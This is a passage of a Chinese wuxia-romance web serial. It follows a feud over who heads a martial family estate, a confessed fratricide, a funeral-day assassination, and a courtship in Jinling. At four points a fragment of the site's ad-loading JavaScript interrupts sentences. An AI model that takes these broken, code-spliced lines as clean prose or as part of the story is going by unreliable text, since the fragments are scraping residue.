“可是无论我怎么做、做得再好,也越不过他另一个儿子在他心里的地位。可若是我哪里出了纰漏,马上就会遭到他的一顿痛骂。明明都是他的儿子,他为什么这样厚此薄彼!?” 紫瑛想为他拭泪的手微微顿住,听到这句话后也不由自主地说道:“可能,当父母不止有一个孩子的时候,多少都会有些偏心吧。” 杜彦成敏锐地捕捉到她说话时的低沉与失落,抹 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 掉自己的眼泪,低头去看她:“你怎么了?你好像也不开心。” 紫瑛撇嘴笑笑,眼睛看着别处:“没什么。” “不!你肯定有事。”杜彦成坐近一些,“我可以向你倾诉,你自然也可以把你的心里话告诉我。我的的耳朵也是你的。” 他的目光真诚又笃定,紫瑛望着这双眼睛,隐忍多日的情绪瞬间决堤,眼泪随即涌了出来。杜彦成立刻自怀中取出一方手帕,帮她擦眼泪,同时嘴里还说着:“别难过,至少我在这里。” 听了这话,紫瑛哭得更加厉害。幸而酒馆中没有多少人,他们又坐得偏僻,这才没有引来好事之人的围观。 等紫瑛哭得差不多了,杜彦成擦掉她最后几滴眼泪,逗她:“别人哭都会肿眼睛,你哭完了怎么还这么好看?” “少瞎说,我不是照样眼睛会肿?”紫瑛嗔道。 杜彦成笑嘻嘻道:“你双眼飞红,比平时更加娇俏,自然好看。” 紫瑛扑哧一笑:“嘴里没句实话。” “我说的就是实话,不信你找小二来,看我说得对不对。”杜彦成说着,真的准备招手叫人。 紫瑛赶忙按住他:“别闹。”然后定定神,开始断断续续讲起来,“也没什么。就是……这两日是璇儿的生日,爹爹和其他人都想法设法地给她准备生辰礼,我瞧着有些吃心……我知道我不该这么小气的,毕竟她比我更优秀,又吃了更多的苦……我没有资格和她计较……” “然后呢……”杜彦成轻轻地问,语调温柔地能化成水。 紫瑛心中熨帖,也不再害怕自己的话会不会让他小看,便敞开了继续说:“可我就是很难过、很不舒服。” “为什么?你爹爹只给紫璇姑娘一个人过生日吗?”杜彦成语气虽然温柔,但明显带了一丝怒气。 “我过生日的时候大家也都在,可没有一个人想起来,没有人问过我想要什么……爹爹能提前数月就嘱咐人给璇儿打造兵器,却从来不记得我也要过生日,明明我才是他的女儿……” 紫瑛的眼泪再度流下来,杜彦成仍然轻柔地为她不时蘸蘸眼角。 “就算你的武艺不如紫璇姑娘,不得你父亲喜爱。可你们既然都是他的女儿,他就要尽量一视同仁、不偏不倚。”说到一半,杜彦成突然灰心,“算了,我爹不也一样吗?你说的对,一旦父母有了不止一个孩子,总是会有偏颇,这大概是人的本性,改不了。” 紫瑛不语,越发难过起来。 “没关系,他们不疼我们,我们就自己疼自己。你的生日,我补给你怎么样?你想要什么都可以告诉我,我还算有些臭钱,凡是你喜欢的,我都买下来给你做生日礼物!” 紫瑛张大了嘴巴说不出话,反应过来后马上拒绝:“那怎么成?” “怎么不成?”杜彦成望着她,眼睛里明显多了别的东西。 “上回你替我赎回首饰,我还没有还你钱呢。”紫瑛小声道,眼睛对上他的,又马上垂下。 “我本来也没打算让你还。” “我……”紫瑛像是突然不会说话一般,想了半天也不知道该说些什么。 瞧着她害羞成这样,杜彦成一扫刚才的阴霾,开怀笑道:“只要你喜欢,我什么都可以给你。” 紫瑛抬起头,再也无法错开自己的目光。两双眼睛离得极近,对望着,慢慢弯了下来。 当天紫瑛便留下一封书信,跟着杜彦成去了金陵。紫璇和瑾瑜也在两日后动身下山,苏茂霖和他们同行,说是要去江南拜访一位多年前的故友。 赤霞山庄内一下子少了一半人口,又恢复往日沉寂。贺家庄和太白山之间文书往来不断,一有新的消息,文远骥便会邀江邵谦一同商议,时不时也会叫上几个堂主。 这一天贺家庄的信又到了,文远骥只打开看了一眼就变了脸色。 “贺永芳被人刺杀,当场身亡。” 156. 嫉恨(一) 两个月前,贺永识带着诸多高手闯庄,意图杀害许淑平、劫持贺新韵不成,最终被贺永芳囚至庄中地牢。在骆雁声的帮助下,一晚上过去,许淑平病势稳定下来,贺永芳才稍有余暇去审问贺永识。谁知贺永识早就拿定了主意,既不肯交代夜袭背后是谁人主使,也对自己如何潜入贺家庄三缄其口。 贺永芳无奈,只得撇下这位不甘心就这样被赶下了台、誓要和她对着干的前庄主,先去提审昨晚一干敌人中唯一的活口,可最终依然是一无所获。 得亏她在事发当下便指派心腹管事挨个盘查庄中人口,果然发现了几个无故脱岗的,一番雷霆审讯之后,才从这些人口中得知,他们均不满贺家庄被女人把持,又都受了贺永识的诱惑,便同意充当内应。庄子西北角有一处废弃的仓房,平日里无人打理,堆满了杂物,他们在那里挖了一个一尺来高的小洞,在夜半之时将贺永识等人从此处引了进来,又瞒过了守夜之人将之化整为零一个一个带到了从书房回后院的必经之路上。 贺永芳接任庄主将将半月,每日殚精竭虑竟还没能堵住这么大的疏漏,险些害死许淑平,折了贺新韵,她的自责更甚,接下来打理庄务更加不敢懈怠。一方面当众处置了这些叛徒,以儆效尤;另一方面也加意抚慰庄中各处人手,无需因个别人的罪过人人自危,只需照章办事,不生贰心,庄主自能辨查忠奸,既不会错过一个,也必不能冤枉尔等。与此同时,她又命贺新韵亲自带人将庄中处处仔细检查,遇有可能造成风险的盲区一律填埋,务必让一只蚂蚁都不可能从外面悄无声息的爬进来。 实际上,囿于男女之别,支持贺永识的本就是少数,贺永芳一番操作下来,庄中果然更见秩序,度过了最初的惶惶几日后,各处人丁反而更加安下心来。 贺永识闭口不言,贺永芳也不指望他能立刻回心转意,便故意晾着他,只每隔一个月放他的妻子和贺新川去探一次监。 贺新韵问起她的打算,她道:“贺新峦如今下落不明,最大的可能便是做了人质,以要挟二哥听命于幕后之人,是以他才不敢透露出半点消息。但他任务失败、人也被咱们拿住,对于幕后之人已然没了用处,我看未必会有人来救他出去。时间一长,他自己逃走无望,又闹不清贺新峦在敌人手中是生是死,才会真正开始着急。到了那时,他别无指望,说不定更愿意和咱们合作。” 许淑平醒来后听说了她的这番谋算,也觉得极好。这之后不久,紫璇被追杀失踪,帮忙追查她的下落又分去了贺永芳的大部分精力。于是,贺永识就被扔在了地牢里足足两个月。 一直到过了初十,贺永芳才再一次步入关押贺永识的地牢。比起两个月前还意气扬扬、不可一世的模样,如今的贺永识不仅憔悴,还苍老了不少。虽然贺永芳自小便和他不怎么亲近,但毕竟割舍不了骨肉亲情,骤然看到他变成这个样子仍旧免不了痛惜。 “二哥。”隔着牢门,贺永芳轻轻唤了一声。 彼时贺永识正斜倚在里侧墙上,目光呆滞地望着地面。听见声音,他随即抬起头来,像是期待又像是无奈,虚弱地应了一句:“你终于来了。” 贺永芳把住牢门,把脸凑得更近去看他:“二哥,你怎么样?” 贺永识轻笑:“你做了快三个月的庄主,必然也尝到了权力的滋味,要是你一朝被人从庄主位子上踢下来坠到泥里,还被关进自己亲手所设的囚牢,你会如何?” “若不是你想掳走新韵,我又怎么会把你关起来。”贺永芳仍旧有些许愧意,话虽然严厉,语气却相当柔软。 “她!”提起贺新韵,贺永识猛地坐了起来,满腔怒火喷涌而出:“她勾结天魄门来颠覆贺家,把我从庄主的位子上赶下来,本就死有余辜!别说是掳走她,就算让我当场杀了她都无甚可惜!” “二哥!她是你的侄女,是我们贺家的血脉!”贺永芳急道。 “贺家血脉?!她背叛我,算什么贺家血脉!” “她所作的一切都是为了守住贺家、守住大哥的承诺。如果不是许前辈代天魄门出面,那些江湖人不会轻易放过我们。只不过你不愿意与她合作,她才找了我……” “哈哈哈哈……”贺永识狞笑数声,“算了吧!她们一开始就没打算让我留在庄主的位子上!你别说你不知道!你同她们合作,为了什么?不也是为了这个位子?!” “我……”贺永芳并非完全没有肖想过庄主之位,否则也不会在许淑平的提议下动心。面对贺永识的指责,她突然失去了辩驳的勇气。 “什么大哥遗命!什么江湖道义!都是借口!不过是一帮妇人,居然敢野心勃勃,盯着不属于自己的位子,牝鸡司晨,有违天理!”贺永识大吼,理智所剩无几。 贺永芳收住刚刚想要涌出的眼泪,再无半点和他多说几句的心思。她沉下一口气,已换上一副冷静的口吻,直奔主题: “二哥,过去的事无法更改,但未来还把握在你的手中。二嫂和新川我都安顿好了,新塬一家我们也不会去打扰。只有你和新峦流落在外,受人挟制,小妹不忍你骨肉分离,只要你肯交代出,指使你前来刺杀之人是谁、现在何处、你们如何联络,并承诺不再勾结外敌伤害自己人。我保证,我会说服许淑平,让她同意把你放出来,也会着人想办法把新川也救出来,到时候你们一家团聚,还是可以过安生日子。” “安生日子?”贺永识止不住地冷笑,“看着你成天到晚在家里作威作福?还是被我过去的手下呼来喝去?这样低人一等的日子,你叫我如何安生?!” “不是家主又如何?难道权力对你就那么重要?!”贺永芳实在理解不了他,声调也随之高昂。 “权力对谁不重要?我为了坐上这个庄主之位,花了多少力气,你知道吗?别说你和贺新韵,就是大哥活着回来,我都不可能把位子还给他!” “你说什么?”贺永芳 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 本能地离开牢门一尺,觉得这样贺永识自己似乎从未认识。在她心目中,大哥是贺家家主的不二人选,任何人都不可以挑战他的地位。 贺永识狞笑着,心底的话冲破闸门,瞬间涌了上来:“难道不是吗?大哥日日在天魄门苏明启那里卖乖,一点也不曾操心过家里的事。是我帮着父亲把贺家庄打理的井井有条,是我夙兴夜寐守住了这份家业!可是当他从天魄门回来,哪怕已经没有了左护法的身份,父亲一句话,他才是贺家庄的庄主,就能把我晾在一边。凭什么!?就凭他是长子,就可以把所有好的东西都给他吗?” 他情绪激动,说话时已经站了起来,且离牢门越来越近:“打小,他作为家中长子,就已经拿去了父亲全部的关爱和瞩目,有单独的书房,吃穿有专人伺候,父亲还手把手教他如何管庄子和贺家的消息秘术,把他当成未来的家主培养……那我呢?我也是父亲的儿子,不过晚生了几年,就什么都不配得到吗?我不比他差,他能做的我即便没有父亲教也都学会了,还能做得比他好,父亲为什么就不能多看我两眼呢。 “他被送去天魄门,几年都不回来。我还以为我有机会了,拼了命的上下操持,就为了让父亲满意,可到头来我得到了什么?后来我才知道,我做得再多再好,也不过是在替他守家。我将永远居于他之下,是你你能甘心?不,我不甘心,我一定要拿回属于我的东西。所以,我忍辱负重,在大哥面前伏低做小,让他对我深信不疑,然后利用机会,在大嫂每日的饮食中掺上点佐料,让她生不出来儿子。他们没有继承人,这庄主的位子迟早是我的。哈哈哈哈……” 贺永芳瞪大眼睛,根本无法相信自己听到的内容:“你说什么!?” 贺永识像得了长生那般快意到疯狂,又迈出几步,隔着牢门与贺永芳对视:“我后来发现,庄中怪事频发,他甚至连自己的妻子和女儿都送回了岳家,我就知道他肯定是遇上了麻烦。他的亲信一个个消失,家人也不在了,在这个贺家庄内他就是个孤家寡人,既然如此,我何必再等!” “你对大哥做了什么?”贺永芳已然变了声调,这几个字是她硬从喉咙里挤出来的。 “做了什么?如果是你你会做什么?哈哈哈哈……当然是杀了他!” 贺永芳的脸立刻失去血色,眼睛里瞬间喷出火来:“你说什么!” 贺永识仿佛炫耀功绩一般说着:“他早晚要被敌人害死,不如我早一步送他上路,这样至少他死的时候,还能做一件好事不是吗?” 他话音未落,贺永芳已抽出随身腰刀,就要送到门里去。可下一瞬她却突然没了力气,刀“哐镗”一声落在地上,惊出了贺永芳的两行清泪。 她不能杀他,无论如何,她都不能动手,贺永芳的脑海里一直回响着这句话,以至于都没有听到贺永识最后一句:“你想要我的命?拿去便是,与其看着大位旁落,受这般焚心蚀骨的痛苦,不如早点去死。” 157. 嫉恨(二) 这之后,贺永识就一直被关押在牢中,贺永芳还是会每日派人给他送去饭食,只是再也不去看他了。 贺新韵得知真相后痛哭不已,还吵着嚷着要去找贺永识报仇,最后还是许淑平出面劝止了她。她和贺永芳想法一致,贺永识到底是她的二叔,即便犯下大罪要处死,动手的也不能是她。最恰当的方法是将他的罪行公之于众,再以贺家家规处置,否则难以令人信服,最后伤害的还是她和贺家的名声。 不过,贺永识本就有求死之心,从那日后就躺在地上不怎么动弹,饭也几乎不吃。终于在八日后耗尽最后一丝精气,死在了牢中。 他杀害长兄,谋夺庄主之位,按理要被逐出贺家家谱,丧事便一切从简。让其妻儿守孝七日,之后便葬在贺家旁支的墓穴中,也算是仁至义尽了。 出殡那日,贺新韵称病不出,只有贺永芳带着几个人来给贺永识扶棺,陪同贺永识的夫人和两个儿子出殡。一行人正往庄子外走,下人中突然冲出一个身穿孝服的男子,窜到贺永芳身前,袖中匕首倒悬,猛地扎进了她的胸口。 送灵队伍登时大乱,前来送葬的贺新塬立刻吩咐周围的下人将行刺之人牢牢围住,又马上遣人去找大夫并通报贺新韵。贺新韵和许淑平赶到时,贺永识的棺椁被随意丢在地上,她的妻子和贺新川正惶恐哭泣,贺新塬则看着被捆缚的刺客连连叹气。 贺新韵走近些,才发现所谓的刺客竟然是逃离山庄不知所踪的贺新峦。她顾不上去问这是怎么回事,先奔到贺永芳的身边去瞧她的状况。许淑平先她一步,已经探鼻了贺永芳的鼻息及脉搏,看到她俯身过来,只无声地摇了摇头,眼神中满是悲悯。 贺新韵大恸,立刻回身指着贺新峦:“为什么……你为什么要杀姑母?” 比起他冰冷的口吻,他的回答本身更令她毛骨悚然:“她居心不良,处心积虑要赶走我爹坐上庄主之位,我偏不让她如意。如果不是她,贺家庄迟早是我的!” 无论如何审问,贺新峦都坚称刺杀贺永芳只是出于自己对她的厌恶,并无他人指使。贺永识的夫人也只知哭泣,并不愿意多说一个字。 结合贺永识死前仿佛并不在意贺新峦的情况来看,许淑平猜测贺新峦应该的确逃过了魏菘泽的势力,是以贺永识虽被利用,却并不担心儿子会因自己的失利而遇到风险。贺新峦一直藏匿在贺永识夫人宅中,这才能轻易混入送灵队伍。 贺新峦刺杀庄主,按规矩需逐出贺家并当众处死,许淑平监刑,当着合庄之人的面公布了他和贺永识的罪行,并施以极刑。父子俩的尸骨都不得再入贺家祖坟,被扔到了乱葬岗。贺家庄由贺新韵代行庄主之责,贺家二房,包括早早分家出去的贺新塬都没有异议。 贺新塬只比贺新峦小一岁,一向不得贺永识看重,又与兄长颇多龃龉,故而成家后便分了出去单过,在之前贺家庄危局也未曾出现。 他为人一向谦和,不喜权力斗争,早早避出庄子也是为了远离是非,关起门来过好自己的日子。比起跋扈擅权的贺新峦和骄纵惹事的贺新川,贺永芳更喜欢这个外甥,在他离家之前也常常照顾他,与他的关系较为亲近。 贺新韵刚刚接手山庄,要顾全的事情不少,贺新塬便被请来帮忙操持贺永芳的葬礼。虽然受到贺永识的忽视,但他的能力并不差,贺永芳的丧事被他安排的很是妥帖。按照过往庄主白事的旧例,讣告、丧仪、待客、后勤,一切有条不紊。不仅如此,面对来客对贺家庄近来变故的质疑,他也能婉转道明其中缘故,让对方知道理亏的是贺永识和贺新峦父子。 这边刚送走一拨客人,便有下人来报,河东谢氏谢立梁上门吊唁。贺家与谢家同属天魄门旧部,他又是晚辈,便亲自将人迎了进来。 谢立梁刚刚坐下就唏嘘起来:“不过三个月前,我还在此亲眼见证贺庄主继位,谁知命运翻覆,贺新峦竟然做下这等无耻之事,致使贺庄主英年殒命。” “家门不幸,有劳谢前辈千里奔丧。”贺新塬知他与贺家并不算相熟,这般义愤填膺很不寻常,于是只谈谈回应,看他还有何话说。 “贺家接连出事,你们定然很不容易。贺新峦不服贺庄主,主要也是因为她的女子身份。贺新韵同样是闺阁女子,又年纪轻轻,有你在旁襄助一二也好。” 贺新塬敷衍一笑,并不接这故意讨好他的话。 谢立梁又客套了几句,贺新塬总是不冷不热,说几句无关痛痒的话,只求不失了礼数便好。谢立梁见话不投机,便换了别的话题:“天魄门故门主夫人许淑平是否还在庄上?” “在。堂姐初来乍到,又是女子,不免有些心中不服的人。许前辈既是天魄门的长辈,又是她的义母,在此居中坐镇,便如同她的定心丸一般,足以震慑那起虎视眈眈、等着瞧女子作主的贺家闹出笑话之人。” 他话中带刺,谢立梁如何听不出来。但他远来另有目的,只好尬尴笑笑,硬着头皮道:“贺家与谢家同为天魄门旧属,自然也希望贺家能安稳渡此危局,重振往日荣光。” “前辈深情厚谊,晚辈替堂姐谢过。”贺新塬微微颔首,眼睛却看着地面。 “进来天魄门藏宝图一事闹得沸沸扬扬,贺庄主的死也与之不无干系。我来此除了吊唁故人,也是想与门主夫人一道商议,还请为我通传一声。”谢立梁实在不知改说什么,只好道明来意。 贺新塬又点了点头,吩咐下人去内宅传话。 一见到许淑平,谢立梁便开门见山:“门主夫人在贺家庄中坐镇,是为了找寻前庄主贺远诏留下的藏宝图吧。” 许淑平早有防备,当下不动声色,只顺着他的话说道:“既然知道,又何必明知故问。” “前辈在此呆的时间不短,可有收获?” 许淑平扬起眉毛,斜睨着他:“这就急不可耐了?” 谢立梁随即讪笑:“夫人为了老门主遗命劳心又劳力,在下也只是关心事态的进展而已。” “关心?”许淑平冷笑一声,“我被魏菘泽派来的人偷袭,差点去见阎王的时候怎么不见河东谢氏来人关心关心?” “什么时候的事?在下全然不知 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 呀!” 谢立梁竖起眼睛,摊开两只胳膊,一副闻所未闻的模样。许淑平静静看着他装,不发一语。 他被看得心里发毛,但还是嘴硬道:“谢家当真从未收到消息,前辈若是不信,随时可以去问谢家查问。” “真的?” “真的!”谢立梁眉目间已经显出急色。 “我还以为,魏菘泽那边做了什么,你们都一概清楚呢。” “夫人这是哪里的话,在下只在多年前和魏三爷见过那么一两回,实际上和他并不熟识,又怎么会知道他做了什么没做什么。” “并不熟识?”许淑平凝视着他,“这么说,你特地来打听贺永诏所留藏宝图的下落,也不是受了他的指派?” 谢立梁从椅子上弹起,瞪着一双眼睛:“谢家是天魄门旧属,又不是他魏菘泽的旧属,我犯不着听他的指挥!夫人此话属实是有些侮辱人了。” 见他如此,许淑平才放缓了声调:“如此甚好,看来是我错怪你了。我受了重伤,刚有起色没几日贺家庄主便遇害了,如今天魄门势力大不如前,我实在是担心魏菘泽还有什么后招,是以不得不多个心眼,还请你莫要怪罪。” 谢立梁听她信了自己,方回到椅子上,拱手道:“夫人居处其间,为难之处偏多,思虑自然与我等不同,是我不够体谅了。” 许淑平这才道:“贺永诏留下的文书记录不少,要一样样清理检查殊为不易。又加上贺家正值多事之秋,我和他的女儿忙了两三个月,才有了些许眉目。” “哦?果然有眉目了?” “那当然,贺永识是苏明启的心腹,苏明启死后他杀光了所有知情人,普天之下只有他一人知道藏宝地在哪。虽然他谨守承诺,从来没有动过染指宝藏的心思,但字里行间不可能不透露出往年行迹,往这上面去查,总会发现端倪。” “那如今的‘眉目’有多少了?” 许淑平心中暗笑,面上却露出为难之色:“贺永诏留下的各种记录散乱,还有些缺少的。我们虽然发现了一些蛛丝马迹,但尚需仔细整理。” “那还要多久?”谢立梁越来越无法掩饰自己的急迫。 “不好说,快则数月,多的话可能要一年。” “数月?要这么久?”谢立梁蹙眉。 “急什么?苏明启筹谋多年都未能成功,咱们多花些时间不也是正常的?”许淑平故意道。 谢立梁意识到了自己急躁不合时宜,忙收拾好表情,附和道:“前辈说得有理,寻宝之事急不得。” “你放心,贺永诏的女儿少时经常出入他的书房,也曾听她父亲说起过一些事情,有她在,一旦我们清理出所有记录,必然能很快破解。” 谢立梁这才点了点头:“如此就请前辈多费些心思。若有需要,随时召唤我等。” “那是自然。” 送走谢立梁,许淑平立刻叫来贺新韵,将自己刚刚写好的一封书信快马送往送往天魄门。今日之后,只怕魏菘泽会加快行动,天魄门内外都需做好防备。 158. 甜蜜(一) 初到金陵的几天,杜彦成几乎推掉了所有公事,整日陪紫瑛玩耍,还履行承诺,扎扎实实地为紫瑛办了一场又阔气又热闹的生日宴。 “这些都是给我的吗?”紫瑛瞧着满布几案的礼物匣子,惊讶道。 杜彦成把住她肩头,推着她走过来,语调带着宠溺:“打开看看。” 紫瑛从手边的匣子开始拆起,首饰、衣物、胭脂水粉、名贵香料……种类繁多,应有尽有。让她看直了眼睛,这些东西比她从小到大得到的所有生日礼物还要多,紫瑛本能地觉得自己不该拿:“这些太多了,也太贵重了,我……我不能收。” 杜彦成却不允许她这样谦让,直接拿起一支玉镯套到她的手腕上,然后稍稍放低身体,看着她的眼睛道:“为了这些礼物,我逛遍了金陵城里的铺子,你要是不要,岂不是浪费了我多日的功夫?” “可是,这花了你不少钱……” “花再多的钱也是我心甘情愿的,我说了,只要你喜欢,我的一切都是你的。” 再度听到这句话,紫瑛还是忍不住羞红了耳朵。杜彦成瞧着她扭捏的模样,心情越发畅快,下意识地伸出手指捏捏她的耳垂,弯起眼睛道:“你对我说的那些话还有你这个人,都比这些东西珍贵得多。我不知道该怎么表现对你的喜欢,就只能俗气点,把看到的好东西都送给你。” 这些话打在紫瑛心上,颤巍巍又甜丝丝的。她看了那么些话本子上的才子佳人故事,免不了要羡慕故事中的女子能得一心只爱她的良人,双宿双飞一生。这一刻,仿佛豆蔻时节的幻想成真,紫瑛情不自禁得靠在他的怀里,低低道:“谢谢你,我都喜欢。” 杜彦成顺势抬起一只手臂将人圈得更紧一些,脑袋也搁在了紫璇肩窝处:“你喜欢就好。” 两个人抱了好一会儿,分开之时杜彦成还趁她不备偷偷在她额头上吻了一下。紫瑛浑身发热,脸像是熟透了,赶紧走开些假装去喝水,却不想被呛到咳嗽了几声,脸也变得更加通红。 杜彦成最喜欢看到她因为自己羞怯到不能自已的样子,之后也总是忍不住想要逗她。 闹够了,紫瑛才想起了另一件事:“你一下子花这么多钱,你父亲知道了,不会责备你吗?” 提起他父亲,杜彦成的脸色立刻暗淡许多:“这是我自己辛苦挣得钱,他就是管的再多,也管不到我花钱。” “他不住在这里吗?”看出他不高兴,紫瑛问出第二个问题的时候都小心了许多。 “这是我的私宅,他很少来。” 杜彦成大概是很不愿意再聊这个话题,说完这句便立刻牵起紫瑛的手,对她道:“我带你去看看我在金陵的铺子怎么样?”紫瑛当然乐意,她只听杜彦成说起过自家的生意,但从未见过,很好奇他作为生意人的模样如何。 时辰还早,杜彦成便吩咐下人准备车马,然后带着紫瑛出了门。 紫瑛从马车里探出头来的时候,杜彦成早已候在车下。紫瑛被他半抱着,稳稳当当放在地上,立刻引来了铺子里伙计探寻的目光。 他帮紫瑛正一正衣襟,然后牵着她往里走。紫瑛四处张望,看到门口的匾额上写着“惠成商行”四个字,门两侧还有一副木制的楹联,只是他们一只脚已迈进门槛,上门写了什么字她便看不到了。 铺子掌柜立刻迎上前来,向杜彦成施礼:“少爷。” “年下无事,在宅子里实在闷得慌,到你这儿来瞧瞧。”杜彦成并没有看他,只是例行公事地说了这么一句。 掌柜的半弯着腰,极其恭敬道:“铺子年节期间一直开着,生意比往日还好。伙计们也都规矩,一切平稳。”说着从一旁伙计手上拿过一个簿子,双手奉上,“这是这个月的流水,请少爷过目。” 杜彦成抻开扇子,摇了摇:“账簿你稍后送到宅子里我看,今日还有别的事。” 掌柜的这才将账簿又放回到伙计手里,然后看着他身侧的紫瑛,犹豫道:“这位……” “这位文小姐是我的座上宾,你们要好好招待。” 正好有伙计沏了茶端上来,杜彦成揭开盖子看了一眼,指着茶对紫瑛说:“这是上好的白茶,极为难得,你赶快尝尝。” 紫瑛就这他的手呷了一口,味道很淡,和自己平常喝的很不一样,便又喝了一口,慢慢品出一丝醇香来,笑道:“这茶有趣,茶叶淡、茶汤淡,味道也谈谈的让人舒服。” “白茶生来便叶色玉白,形如凤羽,达官贵人们都管它叫‘玉峰茶’。且它只生于安吉一地,产量不多,便更加难得,真真算得上千金难买。” 掌柜不忘讨好:“因少爷喜品茶,懂茶意,我才让他们把新得的白茶端了来,这样好的茶我们都不配喝。” 杜彦成微微一笑,对他的恭维很是受用:“肖掌柜有心了。” 肖掌柜稍稍躬身:“这是小人的本分。这批茶一共二十斤,除了先前定出去的十八斤,下剩两斤,小人今日会一并给您送去。” 杜彦成点点头,放下茶盏,又带着紫瑛在铺子内外流连了一阵儿,紫瑛有很多好奇的地方,他都会耐心地一一解答,甚至还向她说起某种商品的产地、行情和存放的要领。 紫瑛不禁打趣:“你和我讲这么详细,是想让我来这儿给你当伙计吗?” “你将来可是这里的老板娘,不早些开始学习怎么照管生意?” 紫瑛赶忙回头看了两眼,确认他们周围并无其他人跟着,才又羞又恼地轻锤了他两下:“你……你别瞎说……” 杜彦成忍俊不禁,把自己的后背伸过去:“是不是多挨你几下打,你就肯嫁给我了?那你打吧,我一下都不会躲的。” 紫瑛的小脸涨鼓鼓的,打也不是,不打也不是。 杜彦成这才再次拉住她,赔罪道:“好好好,我不闹了。我带你去悦宾楼吃饭,点你最喜欢的桂花酒酿鸭子好不好。” “好吧。”紫瑛笑得比院中的迎春花还要明媚。 紫瑛点了一大桌菜,正吃着,杜宅的管家敲门进来在杜彦成耳边说了句什么。杜彦成立刻停了筷子,脸色也僵住了。 “怎么了?”紫瑛问。 “我爹来了,正在家里等我。” 紫瑛也马上放下筷子:“那我们别吃了,赶快回去吧。” 杜彦成扫了一眼桌上还没怎么动的菜色:“你吃吧,我把人留下给你,你吃完了叫他们送你回去。” “让店小二打包,我等你一起吃。”紫瑛已经有了决断。 桌上还是刚才那桌菜,已经热了两回,但杜彦成仍然没回来。 紫瑛早就饿了,却惦记着杜彦成也没吃,不想他来的时候一个人吃饭,就一直挨着。可到了最后,她也直等到了杜彦成遣来向她传话的下人。 “少爷让我转告小姐,菜凉了不好,让您先吃,不必等他。老爷传了饭,少爷正和老爷用饭呢。少爷还说,委屈小姐了,他被老爷拉住安排年后的事情,实在不得空,该早些遣人来嘱咐小姐的。” 知道他一直想着自己,紫瑛心里暖暖 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的,怎么会怪罪他:“要是不麻烦,请你帮我转告他,不必操心我,好好和父亲吃饭。” 那人答应着离开,紫瑛瞧着一大桌子菜,自己一个人肯定吃不完,便招呼屋外的两个婢女和小厮进来一起用饭。四个人均惶恐不已,表示这不合规矩,担心管家知道了责罚。 “这些菜我一个人又吃不了,吃不完就得倒掉,那多浪费。你们是为了帮我才吃的,管家为什么要责罚你们?你们放心吃吧,我会告诉你家少爷,让管家不要为难你们。”紫瑛想了一套说辞,力邀他们坐下来。 这四个人你看看我,我看看你,纷纷想起连日来少爷对这位紫瑛小姐的与众不同。杜彦成早已到了娶亲的年纪,却一向出门在外,对有心攀亲的人爱搭不理,这一回竟然自己从外面带回来一个年轻女子,还想方设法地讨她欢心。下人们虽然不敢嚼主人的舌根,但也大概猜到这位很可能便是杜彦成看中的人。 带着一半感激,一半讨好,四人终于愿意就座,但是也只敢放半个屁股在凳子上。 杜彦成家里规矩大,尊卑上下极为有序,凡他在的时候,下人们大气都不敢喘一下。紫瑛长在江湖,本就自在惯了,文远骥待下又极为随和,是以刚来之时还有颇多不适。但想来杜彦成混迹商场,比起江湖无拘无束多一些严谨刻板也是应该的,她不想因为这些小事惹得他不快,便也从没有对他提起。 比起被人围着用饭,这样大家一起坐下来热热闹闹地边吃边说话才是紫瑛熟悉的。她先给每个人都夹了些菜,让他们不必拘束,放心吃,又亲切地问他们叫什么名字,都是何时到宅子里来伺候的。 不过四个人多少还是有些拘谨,尤其是说到杜彦成的时候,他们只会附和紫瑛的话,只有一个叫红杏的家生婢女较为活泼,会多说几句。 “我听我爹娘讲,少爷从小便很是上进,夫人安排的功课他从来都不躲懒,还能做得极好,总是得夫人的夸赞呢” “夫人?你是指彦成的娘亲吗?她是个怎样的人?” “我也没见过夫人,只是听说她精明能干,强过一般的男子,杜家这么大的家业都是她苦心孤诣闯南走北攒下来的。” “这么说,杜家的商行是她一手创立的?” “是啊,要不这份家业怎么姓杜呢?”红杏喝了几口酒,说话便有些没有忌讳。其余三人都担心地看着她,另一个婢女还在桌子下面使劲地拽她的衣服,让她小心嘴巴。可她已经说到了兴头上,岂能停在这里。 紫瑛刚一问“夫人姓杜?”她就立刻点头:“对呀,我们少爷是跟夫人姓的,夫人的夫婿,也就是老爷总是不着家,顾着他外面那个儿子,惹得我们夫人没少掉眼泪,我娘很是为她不平呢。小姐你不知道,我们夫人哪哪都好,就是看男人的眼光不行。最后为了老爷伤心抑郁,少爷还没成年,她就撒手人寰,剩下他孤苦伶仃一个人,老爷还总是让他做这个做那个,他……” 她还没说完,另一个婢女赶忙握住了她的嘴,又对紫瑛道:“她喝多了胡言乱语,小姐您千万当真,也别怪罪她。我们吃饱了,带她下去醒酒。”两个小厮捉住还想挣扎的红杏,一起飞快地出了门。 紫瑛原本的笑容僵在脸上,回想起最后那位婢女说话时警觉又害怕的神色,当然明白红杏并非胡说,其余几人的小心只可能因为杜家有规矩,他们身为下人不好议论主人家事。所以这之后她也不敢向任何人提起这件事,以免害他们受罚。然而,自那天晚上之后,她就再也没见过那个活泼多话的婢女。 159. 甜蜜(二) 睡前,杜彦成特地抽了点时间来瞧她。 “和你父亲一起吃饭,是不是没吃饱?”紫瑛小心觑着他的脸色。 杜彦成进门时便板着一张脸,似乎小有愤懑,她一问才撇了撇嘴:“这都被你猜到了?” 紫瑛揭开桌上的一个盖碗,拿起里面的点心递给他:“给你留的,你爱吃的枣仁芸豆糕。” 杜彦成先是扯住她的手,然后伸长脖子就着她的手吃了起来。咽下最后一口后,还用嘴巴扫了扫沾在她手上的糕饼碎屑。 紫瑛被他弄得不好意思,忙扯出自己的手绢擦手。 杜彦成得寸进尺,撅起嘴,示意她帮他擦,紫瑛笑着摇摇头,却仔仔细细地帮他擦干净,然后递给他一碗鸭子汤:“小炉子一直热着的,赶紧喝吧。” 杜彦成终于坐正一些,开始一口一口喝起来。 “你父亲找你做什么?”紫瑛随口问道。 “有件事让我去办。” 想起婢女的抱怨,紫瑛有些心疼:“没有别人可以用吗?还在正月里头呢。” 